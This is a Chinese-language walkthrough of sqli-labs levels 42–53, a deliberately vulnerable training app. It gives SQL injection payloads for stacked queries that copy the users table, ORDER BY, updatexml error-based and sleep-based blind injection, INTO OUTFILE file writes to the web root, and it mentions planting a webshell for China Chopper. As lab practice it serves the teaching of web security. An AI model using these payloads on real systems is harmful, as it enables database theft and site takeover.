这一关一进去看着像前面的二次注入。发现也注入不了。。
我们观察代码发现这一关用的是堆叠注入。
登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。
在进行post的时候,username随机就可以,a‘;create table qiyuan2 like users;insert into qiyuan2 select *from users; #
虽然显示还是错误的,但是我们数据库是有的。
与42关基本一样。区别在包裹数据变成,‘)
与42关基本一样。区别在没有回显信息。
与42关基本一样。区别在没有回显信息,并且包裹变成 ‘)
这一关主要考的是 order by 注入。我们看源码发现,让我们输入sort命令来查询id。
我们先输一个 ?sort=1,试试。。额。。发现直接把用户名密码都爆出来了,我们查查网页看看这一关还有没有别的内容。
查到:
elect * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
select right(database(),1);从右至左输出第一个字母
select lesft(database(),1);从左至右输出第一个字母
lines terminated by 666 每行输出以666结尾
我们来试试别的,看看能不能得到其他信息:
一、报错注入:
获取数据库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
二、还可以用延时注入的方法
?sort=1 and if(length(database())=8 ,1,sleep(5))
基本与46关相同,只是闭合语句变成了 ‘)。
这一关与46关差不多,只是没有了报错回显,只能用盲注的方法。
也就是上面的第二种方法,?sort=1 and if(length(database())=8 ,1,sleep(5))
与上一关基本相同,没有回显,闭合变成了 1‘) ,可以用盲注方法。。
?sort=1‘ and if(length(database())=8 ,1,sleep(5))--+
前面46-49关也可以使用outfile函数:
?sort=1 into outfile ‘C:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\qiyuan.php‘--+
这一关我们可以用堆叠注入来创建新的users表:
?sort=1;create table qiyuano like users;%23
还有别的方法可以使用,比如前面的延时注入,报错注入还有写一句话木马配合中国菜刀。。。这些都可以就不再赘述了
与50关基本相同,只是 order by语句数据包裹变成了 1‘ 。
与50关基本相同,但是输出不了报错信息。所以不能用报错注入了,其他方法可以。
与50关基本相同,输出不了报错信息,所以也不能用报错注入,且数据包裹变成了 1‘ 。
原文:https://www.cnblogs.com/qi-yuan/p/12297231.html